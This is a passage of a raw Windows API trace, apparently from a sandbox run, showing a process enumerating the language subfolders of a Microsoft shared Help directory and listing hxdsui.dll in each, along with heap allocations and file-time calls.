FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.011] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b1dc00, ftCreationTime.dwHighDateTime=0x1c9db18, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b1dc00, ftLastWriteTime.dwHighDateTime=0x1c9db18, nFileSizeHigh=0x0, nFileSizeLow=0x3948, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.011] GetLastError () returned 0x12 [0087.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.011] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.012] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0087.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1046"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1046"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.016] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.016] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.016] NtClose (Handle=0x180) returned 0x0 [0087.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.018] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.018] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.018] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.019] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.019] GetLastError () returned 0x12 [0087.019] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.019] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ac4100, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66ac4100, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.020] GetLastError () returned 0x12 [0087.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.020] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.020] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0087.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1049"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1049"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.021] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.022] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.022] NtClose (Handle=0x16c) returned 0x0 [0087.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.023] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.023] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.023] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.025] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.025] GetLastError () returned 0x12 [0087.025] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.025] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.025] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.025] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.025] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3add8b00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3add8b00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.025] GetLastError () returned 0x12 [0087.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.025] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.026] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0087.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\2052"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\2052"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.027] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.027] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.027] NtClose (Handle=0x180) returned 0x0 [0087.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.029] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.029] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.029] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.030] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.030] GetLastError () returned 0x12 [0087.030] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.030] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.030] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.031] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0087.031] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0087.031] GetLastError () returned 0x12 [0087.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.031] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.032] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0087.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\3082"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.032] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.032] SetFileTime 